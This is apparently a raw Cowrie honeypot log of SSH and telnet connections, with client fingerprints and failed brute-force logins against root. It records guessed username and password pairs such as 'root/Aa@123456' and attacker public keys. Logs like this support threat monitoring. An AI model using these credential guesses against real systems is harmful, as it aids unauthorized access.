{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:27.374797Z","src_ip":"41.181.156.205","session":"0af9b131ed81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:28.622154Z","src_ip":"41.181.156.205","session":"0af9b131ed81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":50858,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f4af2db3e23","protocol":"ssh","message":"New connection: 2.27.36.16:50858 (159.203.135.109:22) [session: 6f4af2db3e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:30.539880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:30.544801Z","src_ip":"2.27.36.16","session":"6f4af2db3e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:30.647299Z","src_ip":"2.27.36.16","session":"6f4af2db3e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:31.097385Z","src_ip":"2.27.36.16","session":"6f4af2db3e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:32.198065Z","src_ip":"2.27.36.16","session":"6f4af2db3e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":33006,"dst_ip":"10.17.0.5","dst_port":22,"session":"020901e46b46","protocol":"ssh","message":"New connection: 43.135.166.146:33006 (10.17.0.5:22) [session: 020901e46b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:33.323238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:33.328290Z","src_ip":"43.135.166.146","session":"020901e46b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:33.396750Z","src_ip":"43.135.166.146","session":"020901e46b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"access14","message":"login attempt [root/access14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:33.704840Z","src_ip":"43.135.166.146","session":"020901e46b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:34.777331Z","src_ip":"43.135.166.146","session":"020901e46b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":49942,"dst_ip":"159.203.135.109","dst_port":22,"session":"00cb3a294295","protocol":"ssh","message":"New connection: 163.245.222.56:49942 (159.203.135.109:22) [session: 00cb3a294295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:38.967360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:38.972287Z","src_ip":"163.245.222.56","session":"00cb3a294295","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:38.981065Z","src_ip":"163.245.222.56","session":"00cb3a294295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sun2day","message":"login attempt [root/sun2day] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:39.036515Z","src_ip":"163.245.222.56","session":"00cb3a294295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:40.044640Z","src_ip":"163.245.222.56","session":"00cb3a294295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":36356,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8eb95265b68","protocol":"ssh","message":"New connection: 186.233.184.67:36356 (10.17.0.5:22) [session: e8eb95265b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.378385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.383733Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.424239Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:f3:68:d6:ab:3e:68:0c:9e:e2:09:08:57:f2:45:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMts/hk8X6pssfBBDrlX9Tk9slrKsL7Tl8jWULnILXATmFFwINp/JP96rjS/6WV60OxiiGlzakaKSjMOddFJOYw1p8zqC9sA8kljQSA28EEfFOG5TvkvbOjrn2q2Oo1kIdcPqMs1nrdV3sUSZN7JAQuyOmBcDQmFo4lFbemvKS2TW299uFeGs6eYBM+qFPKWKR3y++29uQjBayjA15z9ENur1Vx0Ly4DMeahgUMcKBefKuyBw9Kkf99EpD4yNykdn1JGo+llFoaX8OZxutGAJnCcha0RDSr4VL1N53BWJYoCkZmzL898grYPyepkSblm0gyS/zyRn1ORvR0LdXvv03","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:f3:68:d6:ab:3e:68:0c:9e:e2:09:08:57:f2:45:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.608551Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:f3:68:d6:ab:3e:68:0c:9e:e2:09:08:57:f2:45:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMts/hk8X6pssfBBDrlX9Tk9slrKsL7Tl8jWULnILXATmFFwINp/JP96rjS/6WV60OxiiGlzakaKSjMOddFJOYw1p8zqC9sA8kljQSA28EEfFOG5TvkvbOjrn2q2Oo1kIdcPqMs1nrdV3sUSZN7JAQuyOmBcDQmFo4lFbemvKS2TW299uFeGs6eYBM+qFPKWKR3y++29uQjBayjA15z9ENur1Vx0Ly4DMeahgUMcKBefKuyBw9Kkf99EpD4yNykdn1JGo+llFoaX8OZxutGAJnCcha0RDSr4VL1N53BWJYoCkZmzL898grYPyepkSblm0gyS/zyRn1ORvR0LdXvv03","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.612618Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:c6:8e:5f:fa:95:5c:c5:2f:2a:62:2b:c4:34:95:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWtFgALwXKQUVXCGDFcvc4zuVdmAZ0Bi5YIaPtfC7UEtE9Ux0J+cMSytUrwBKkq9K06IY92xYVaL2D2NFuScl/paFidCEZBS/G+tw05EI8/FJsdYnkNIITu+YQjAmMQE/BNSF+vKZX4SKcHv6Nax6cJe5hQ4QnrOqowghHy75uSH9p86ENYxALARt2UJ6pANizE8n0yiFmwfqEKzRKpid9sLu3SvmR/D+D6/LFjl66IwKi4XM38vlTDs8YIsTwkPbsltlJYAdsKzxnGhYIIJIBJK/UuablcttoReakN8xx5OCdwP7J2G3ZxnolhW1yYOINcf/SGWHE9ivDGphUlpep","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:c6:8e:5f:fa:95:5c:c5:2f:2a:62:2b:c4:34:95:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.653726Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:c6:8e:5f:fa:95:5c:c5:2f:2a:62:2b:c4:34:95:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWtFgALwXKQUVXCGDFcvc4zuVdmAZ0Bi5YIaPtfC7UEtE9Ux0J+cMSytUrwBKkq9K06IY92xYVaL2D2NFuScl/paFidCEZBS/G+tw05EI8/FJsdYnkNIITu+YQjAmMQE/BNSF+vKZX4SKcHv6Nax6cJe5hQ4QnrOqowghHy75uSH9p86ENYxALARt2UJ6pANizE8n0yiFmwfqEKzRKpid9sLu3SvmR/D+D6/LFjl66IwKi4XM38vlTDs8YIsTwkPbsltlJYAdsKzxnGhYIIJIBJK/UuablcttoReakN8xx5OCdwP7J2G3ZxnolhW1yYOINcf/SGWHE9ivDGphUlpep","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.661174Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:b2:12:57:71:6c:04:5e:3f:a3:c6:01:6b:50:4a:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKwCTAud0jBoxgDxq6RPTFQaskl4qAXmKNPzXiwr51Hbllbhyk6kMrquUPRVb21RrOv57YND/vhryrTb6KKvzGcOwvZEBez51nLnLH7XeZUWLk9A9K+yvlHND9PTlR/fDOCH0Q5xyWPmsCwi31/PZrMV7JptiS3HH19HbTi6IZrtTQ9WmQCrx6HMI5CY0qEmW8F1IDOCM+25DFoEa1I95coMMNPU8OiaBICzfEKHWZBZ4sUhHItss7aLbPRvAJnv2bKOk7PjmfuWkewjbcY//T0XDMLIVzOqHTWYm60lRzGdIyru6sBg7s3bcPckGqFW7C3iDXLpka2b3tCo116bTiT/5D5umwc8dsAKU3EPxByRkJ5ZHmuEVjHkpDSGwrKjwvEbYYFo5W/SEDcAkHOQbHONsbecib5rshPc56cFdIATXnJksznXtcTXXZ+gDkjk3jS9BNRYxrFI/jqT9hZHyO9s3EJHrgL6reDMdB8MCjpqiOq/S9m8SCURVyudJPYa0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:b2:12:57:71:6c:04:5e:3f:a3:c6:01:6b:50:4a:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.702181Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:b2:12:57:71:6c:04:5e:3f:a3:c6:01:6b:50:4a:d4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKwCTAud0jBoxgDxq6RPTFQaskl4qAXmKNPzXiwr51Hbllbhyk6kMrquUPRVb21RrOv57YND/vhryrTb6KKvzGcOwvZEBez51nLnLH7XeZUWLk9A9K+yvlHND9PTlR/fDOCH0Q5xyWPmsCwi31/PZrMV7JptiS3HH19HbTi6IZrtTQ9WmQCrx6HMI5CY0qEmW8F1IDOCM+25DFoEa1I95coMMNPU8OiaBICzfEKHWZBZ4sUhHItss7aLbPRvAJnv2bKOk7PjmfuWkewjbcY//T0XDMLIVzOqHTWYm60lRzGdIyru6sBg7s3bcPckGqFW7C3iDXLpka2b3tCo116bTiT/5D5umwc8dsAKU3EPxByRkJ5ZHmuEVjHkpDSGwrKjwvEbYYFo5W/SEDcAkHOQbHONsbecib5rshPc56cFdIATXnJksznXtcTXXZ+gDkjk3jS9BNRYxrFI/jqT9hZHyO9s3EJHrgL6reDMdB8MCjpqiOq/S9m8SCURVyudJPYa0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.705964Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:d8:6d:55:8a:0d:28:28:71:a0:db:ba:91:01:1c:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4JI5tHAwtn6iD0whdxi9BH4DzkBb0v+1AK4HpY1fX60x2gMge3CRMGwvRNW51t0XFm5kJVg5LuPaeitm7ykbYWPKxZxKf9H6vQpID1Ln1vMnADV0bh5iQoYhADgHByFv6FUXvzq8WP3B6WUm/q8Fx7IBCo0LZnPQ2gIKQWglQDafYADUiCRREQL0HorWDwPLpe1FYLrVOWHC6pgjTYVXMBQARDWd1dZnRGU2GnQgmwckpbiW24VMfAVDnz4zoLYAXkQjKElt01bGB44+eQbaApyNmZDVofXqNo9VIy3BYwODTuAzVq6fTs2iSMZ+PJmS+wGcaxITsbHv5bpcW0mzCyeftGpjJ7BE8pVz9PMmLzHpTTVIbymUZ8C0mBSCTyx5SXE+7Jh9B3IQGQf2qyY0Elgc5CVucpOPAUgo7CFVIC2j1ujzrhqkQWAzFObsU3Sx7wKiSx8idl3s4rf+QrK88zqThEj2aov0YwlH+LiCAaDLF+NNuUmO8P0UeHmYqekEzZBchPg/PYsuK4AqgQNw9EKuu9CSgqW2t/Fn09LVrOTwEeLVsKHmNriMsqyWkolb8BXoVtWTxhriEXWfn0cwR7HXKXAvQlddKRnHD3luESCo3PrWoIqxSNfb0t6aS1WDggbHoqKBAVttlE0uAfdV1+UQHdoP/Nw1HaNrjtL3ysw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:d8:6d:55:8a:0d:28:28:71:a0:db:ba:91:01:1c:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.746875Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:d8:6d:55:8a:0d:28:28:71:a0:db:ba:91:01:1c:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4JI5tHAwtn6iD0whdxi9BH4DzkBb0v+1AK4HpY1fX60x2gMge3CRMGwvRNW51t0XFm5kJVg5LuPaeitm7ykbYWPKxZxKf9H6vQpID1Ln1vMnADV0bh5iQoYhADgHByFv6FUXvzq8WP3B6WUm/q8Fx7IBCo0LZnPQ2gIKQWglQDafYADUiCRREQL0HorWDwPLpe1FYLrVOWHC6pgjTYVXMBQARDWd1dZnRGU2GnQgmwckpbiW24VMfAVDnz4zoLYAXkQjKElt01bGB44+eQbaApyNmZDVofXqNo9VIy3BYwODTuAzVq6fTs2iSMZ+PJmS+wGcaxITsbHv5bpcW0mzCyeftGpjJ7BE8pVz9PMmLzHpTTVIbymUZ8C0mBSCTyx5SXE+7Jh9B3IQGQf2qyY0Elgc5CVucpOPAUgo7CFVIC2j1ujzrhqkQWAzFObsU3Sx7wKiSx8idl3s4rf+QrK88zqThEj2aov0YwlH+LiCAaDLF+NNuUmO8P0UeHmYqekEzZBchPg/PYsuK4AqgQNw9EKuu9CSgqW2t/Fn09LVrOTwEeLVsKHmNriMsqyWkolb8BXoVtWTxhriEXWfn0cwR7HXKXAvQlddKRnHD3luESCo3PrWoIqxSNfb0t6aS1WDggbHoqKBAVttlE0uAfdV1+UQHdoP/Nw1HaNrjtL3ysw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.751781Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:b1:28:8d:96:71:81:c3:19:7b:0f:34:39:04:fe:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH2ka7QEB3YWFu+DXiZr1o7/0IPe+IttXOW+Oo1vz/JxsHB/FLE5fCS7OlIkM/sxEHuoI1KUkx8CRC0uYPBv4P9MZ5QnS6n6zWSpKPqsQzlyymW4wjP3q+VFYJ4du3aRnfL/FNJrHof4NzVrAloWWWB75IDWdVLvJFD05ClxVJrQcspNLtQlD9TX3SGM5Xv6jhU6SnvGrtHWT8O/Qx2rQFbPfIvaekURbijurTjwAfk8UQ2eAXI/1pJiORF+hD4UMn8lECHaGRoID1daqLjDEYMk+rMEbYGZLGYDA9wyRta8W51tF21YEsOyfqqe1NPChQOdy1JNnIqxdk6VI6vm6P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:b1:28:8d:96:71:81:c3:19:7b:0f:34:39:04:fe:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.792417Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:b1:28:8d:96:71:81:c3:19:7b:0f:34:39:04:fe:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH2ka7QEB3YWFu+DXiZr1o7/0IPe+IttXOW+Oo1vz/JxsHB/FLE5fCS7OlIkM/sxEHuoI1KUkx8CRC0uYPBv4P9MZ5QnS6n6zWSpKPqsQzlyymW4wjP3q+VFYJ4du3aRnfL/FNJrHof4NzVrAloWWWB75IDWdVLvJFD05ClxVJrQcspNLtQlD9TX3SGM5Xv6jhU6SnvGrtHWT8O/Qx2rQFbPfIvaekURbijurTjwAfk8UQ2eAXI/1pJiORF+hD4UMn8lECHaGRoID1daqLjDEYMk+rMEbYGZLGYDA9wyRta8W51tF21YEsOyfqqe1NPChQOdy1JNnIqxdk6VI6vm6P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.796418Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:02:51.838932Z","src_ip":"186.233.184.67","session":"e8eb95265b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01480555534363,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:04.863431Z","src_ip":"194.180.12.23","session":"955869e00848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55118,"dst_ip":"10.17.0.5","dst_port":22,"session":"0579b16794d9","protocol":"ssh","message":"New connection: 87.251.64.176:55118 (10.17.0.5:22) [session: 0579b16794d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:26.786357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:03:26.791412Z","src_ip":"87.251.64.176","session":"0579b16794d9","protocol":"ssh"}
